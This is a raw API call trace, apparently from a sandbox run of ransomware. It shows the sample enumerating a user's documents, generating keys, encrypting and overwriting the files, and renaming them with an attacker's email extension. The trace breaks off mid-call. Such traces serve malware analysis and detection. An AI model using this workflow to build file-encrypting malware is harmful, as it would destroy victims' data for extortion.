[0140.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc38 [0140.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dc38 | out: hHeap=0x520000) returned 1 [0140.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610360 [0140.892] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60cb58 [0140.892] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cb58 | out: hHeap=0x520000) returned 1 [0140.892] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0140.892] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0140.892] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610360 | out: hHeap=0x520000) returned 1 [0140.892] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0140.892] FindNextFileW (in: hFindFile=0x60cb98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcae29ad0, ftCreationTime.dwHighDateTime=0x1d4c5c3, ftLastAccessTime.dwLowDateTime=0xad19dc50, ftLastAccessTime.dwHighDateTime=0x1d4cbfb, ftLastWriteTime.dwLowDateTime=0xad19dc50, ftLastWriteTime.dwHighDateTime=0x1d4cbfb, nFileSizeHigh=0x0, nFileSizeLow=0xfc2e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="2kN3y.pps", cAlternateFileName="")) returned 1 [0140.892] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.892] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.892] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.892] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.892] GetLastError () returned 0x12 [0140.892] SetLastError (dwErrCode=0x12) [0140.892] GetLastError () returned 0x12 [0140.892] SetLastError (dwErrCode=0x12) [0140.892] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0140.892] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.892] GetLastError () returned 0x12 [0140.892] SetLastError (dwErrCode=0x12) [0140.892] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610388 [0140.892] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610388 | out: hHeap=0x520000) returned 1 [0140.892] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6910 [0140.892] FindNextFileW (in: hFindFile=0x60cb98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac8d7f30, ftCreationTime.dwHighDateTime=0x1d4d5dd, ftLastAccessTime.dwLowDateTime=0xe7742f00, ftLastAccessTime.dwHighDateTime=0x1d4d46a, ftLastWriteTime.dwLowDateTime=0xe7742f00, ftLastWriteTime.dwHighDateTime=0x1d4d46a, nFileSizeHigh=0x0, nFileSizeLow=0x77e2, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="8pMg560.docx", cAlternateFileName="8PMG56~1.DOC")) returned 1 [0140.893] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0140.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0140.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.893] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0140.893] GetLastError () returned 0x12 [0140.893] SetLastError (dwErrCode=0x12) [0140.893] GetLastError () returned 0x12 [0140.893] SetLastError (dwErrCode=0x12) [0140.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0140.893] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.893] GetLastError () returned 0x12 [0140.893] SetLastError (dwErrCode=0x12) [0140.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610310 [0140.893] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610310 | out: hHeap=0x520000) returned 1 [0140.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6a40 [0140.893] FindNextFileW (in: hFindFile=0x60cb98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf96da530, ftCreationTime.dwHighDateTime=0x1d4c9f5, ftLastAccessTime.dwLowDateTime=0x44f8e30, ftLastAccessTime.dwHighDateTime=0x1d4ce5d, ftLastWriteTime.dwLowDateTime=0x44f8e30, ftLastWriteTime.dwHighDateTime=0x1d4ce5d, nFileSizeHigh=0x0, nFileSizeLow=0xfc2d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="MuxyA6CRwQsKy-m7bjh.ots", cAlternateFileName="MUXYA6~1.OTS")) returned 1 [0140.893] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0140.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.893] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.893] GetLastError () returned 0x12 [0140.893] SetLastError (dwErrCode=0x12) [0140.893] GetLastError () returned 0x12 [0140.894] SetLastError (dwErrCode=0x12) [0140.894] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0140.894] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.894] GetLastError () returned 0x12 [0140.894] SetLastError (dwErrCode=0x12) [0140.894] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0140.894] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0140.894] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60d748 [0140.894] FindNextFileW (in: hFindFile=0x60cb98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd72dfaf1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd72dfaf1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd72dfaf1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.894] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0140.894] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.894] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.894] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.894] GetLastError () returned 0x12 [0140.894] SetLastError (dwErrCode=0x12) [0140.894] GetLastError () returned 0x12 [0140.894] SetLastError (dwErrCode=0x12) [0140.894] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0140.894] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.894] GetLastError () returned 0x12 [0140.894] SetLastError (dwErrCode=0x12) [0140.894] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6102e8 [0140.894] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6102e8 | out: hHeap=0x520000) returned 1 [0140.894] FindNextFileW (in: hFindFile=0x60cb98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfa7150, ftCreationTime.dwHighDateTime=0x1d4cfef, ftLastAccessTime.dwLowDateTime=0x2d6e4df0, ftLastAccessTime.dwHighDateTime=0x1d4d584, ftLastWriteTime.dwLowDateTime=0x2d6e4df0, ftLastWriteTime.dwHighDateTime=0x1d4d584, nFileSizeHigh=0x0, nFileSizeLow=0x3d1c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vxtjvIByc4Nbo6Cqmg.pptx", cAlternateFileName="VXTJVI~1.PPT")) returned 1 [0140.895] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0140.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.895] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.895] GetLastError () returned 0x12 [0140.895] SetLastError (dwErrCode=0x12) [0140.895] GetLastError () returned 0x12 [0140.895] SetLastError (dwErrCode=0x12) [0140.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0140.895] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.895] GetLastError () returned 0x12 [0140.895] SetLastError (dwErrCode=0x12) [0140.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0140.895] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0140.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60d940 [0140.895] FindNextFileW (in: hFindFile=0x60cb98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd27acba0, ftCreationTime.dwHighDateTime=0x1d4cd8e, ftLastAccessTime.dwLowDateTime=0x92c7c270, ftLastAccessTime.dwHighDateTime=0x1d4cd5b, ftLastWriteTime.dwLowDateTime=0x92c7c270, ftLastWriteTime.dwHighDateTime=0x1d4cd5b, nFileSizeHigh=0x0, nFileSizeLow=0x1430d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="yKHYlrOP.ots", cAlternateFileName="")) returned 1 [0140.895] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0140.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.895] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.895] GetLastError () returned 0x12 [0140.895] SetLastError (dwErrCode=0x12) [0140.895] GetLastError () returned 0x12 [0140.896] SetLastError (dwErrCode=0x12) [0140.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0140.896] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.896] GetLastError () returned 0x12 [0140.896] SetLastError (dwErrCode=0x12) [0140.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0140.896] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0140.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6ad8 [0140.896] FindNextFileW (in: hFindFile=0x60cb98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd27acba0, ftCreationTime.dwHighDateTime=0x1d4cd8e, ftLastAccessTime.dwLowDateTime=0x92c7c270, ftLastAccessTime.dwHighDateTime=0x1d4cd5b, ftLastWriteTime.dwLowDateTime=0x92c7c270, ftLastWriteTime.dwHighDateTime=0x1d4cd5b, nFileSizeHigh=0x0, nFileSizeLow=0x1430d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="yKHYlrOP.ots", cAlternateFileName="")) returned 0 [0140.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x6116a0 [0140.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0140.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0140.896] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0140.896] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0140.896] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\yKHYlrOP.ots", dwFileAttributes=0x80) returned 1 [0140.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x610ac0 [0140.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563f10 [0140.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610ac0 | out: hHeap=0x520000) returned 1 [0140.897] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\yKHYlrOP.ots" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\ykhylrop.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x784 [0140.897] GetFileSizeEx (in: hFile=0x784, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=82701) returned 1 [0140.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1430d) returned 0x2e61f38 [0140.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1430d) returned 0x2e76250 [0140.897] ReadFile (in: hFile=0x784, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0x1430d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0x1430d, lpOverlapped=0x0) returned 1 [0140.900] SetFilePointer (in: hFile=0x784, lDistanceToMove=-82701, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.900] WriteFile (in: hFile=0x784, lpBuffer=0x2e76250*, nNumberOfBytesToWrite=0x1430d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e76250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1430d, lpOverlapped=0x0) returned 1 [0140.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0140.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e76250 | out: hHeap=0x520000) returned 1 [0140.900] SetFilePointer (in: hFile=0x784, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1430d [0140.900] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.900] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.901] WriteFile (in: hFile=0x784, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.901] WriteFile (in: hFile=0x784, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0140.901] CloseHandle (hObject=0x784) returned 1 [0140.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0140.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0140.901] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\yKHYlrOP.ots" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\ykhylrop.ots"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\yKHYlrOP.ots.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\ykhylrop.ots.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f10 | out: hHeap=0x520000) returned 1 [0140.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6116a0 | out: hHeap=0x520000) returned 1 [0140.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6ad8 | out: hHeap=0x520000) returned 1 [0140.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60cec0 [0140.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0140.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0140.903] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0140.903] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0140.904] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\vxtjvIByc4Nbo6Cqmg.pptx", dwFileAttributes=0x80) returned 1 [0140.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60d010 [0140.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0140.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d010 | out: hHeap=0x520000) returned 1 [0140.904] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\vxtjvIByc4Nbo6Cqmg.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\vxtjvibyc4nbo6cqmg.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x784 [0140.904] GetFileSizeEx (in: hFile=0x784, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=15644) returned 1 [0140.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3d1c) returned 0x612410 [0140.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3d1c) returned 0x616138 [0140.904] ReadFile (in: hFile=0x784, lpBuffer=0x612410, nNumberOfBytesToRead=0x3d1c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x612410*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d1c, lpOverlapped=0x0) returned 1 [0140.905] SetFilePointer (in: hFile=0x784, lDistanceToMove=-15644, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.905] WriteFile (in: hFile=0x784, lpBuffer=0x616138*, nNumberOfBytesToWrite=0x3d1c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x616138*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d1c, lpOverlapped=0x0) returned 1 [0140.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612410 | out: hHeap=0x520000) returned 1 [0140.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x616138 | out: hHeap=0x520000) returned 1 [0140.905] SetFilePointer (in: hFile=0x784, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d1c [0140.905] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.905] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.906] WriteFile (in: hFile=0x784, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.906] WriteFile (in: hFile=0x784, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0140.906] CloseHandle (hObject=0x784) returned 1 [0140.906] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0140.906] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0140.906] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\vxtjvIByc4Nbo6Cqmg.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\vxtjvibyc4nbo6cqmg.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\vxtjvIByc4Nbo6Cqmg.pptx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\vxtjvibyc4nbo6cqmg.pptx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.907] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0140.907] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cec0 | out: hHeap=0x520000) returned 1 [0140.907] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d940 | out: hHeap=0x520000) returned 1 [0140.907] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60cc20 [0140.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0140.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0140.908] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0140.908] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0140.908] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\MuxyA6CRwQsKy-m7bjh.ots", dwFileAttributes=0x80) returned 1 [0140.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60d208 [0140.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0140.908] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d208 | out: hHeap=0x520000) returned 1 [0140.908] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\MuxyA6CRwQsKy-m7bjh.ots" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\muxya6crwqsky-m7bjh.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x784 [0140.908] GetFileSizeEx (in: hFile=0x784, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=64557) returned 1 [0140.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfc2d) returned 0x2e61f38 [0140.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfc2d) returned 0x2e71b70 [0140.908] ReadFile (in: hFile=0x784, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0xfc2d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0xfc2d, lpOverlapped=0x0) returned 1 [0140.909] SetFilePointer (in: hFile=0x784, lDistanceToMove=-64557, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.909] WriteFile (in: hFile=0x784, lpBuffer=0x2e71b70*, nNumberOfBytesToWrite=0xfc2d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e71b70*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfc2d, lpOverlapped=0x0) returned 1 [0140.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0140.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e71b70 | out: hHeap=0x520000) returned 1 [0140.911] SetFilePointer (in: hFile=0x784, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfc2d [0140.911] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.911] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.912] WriteFile (in: hFile=0x784, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.912] WriteFile (in: hFile=0x784, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, 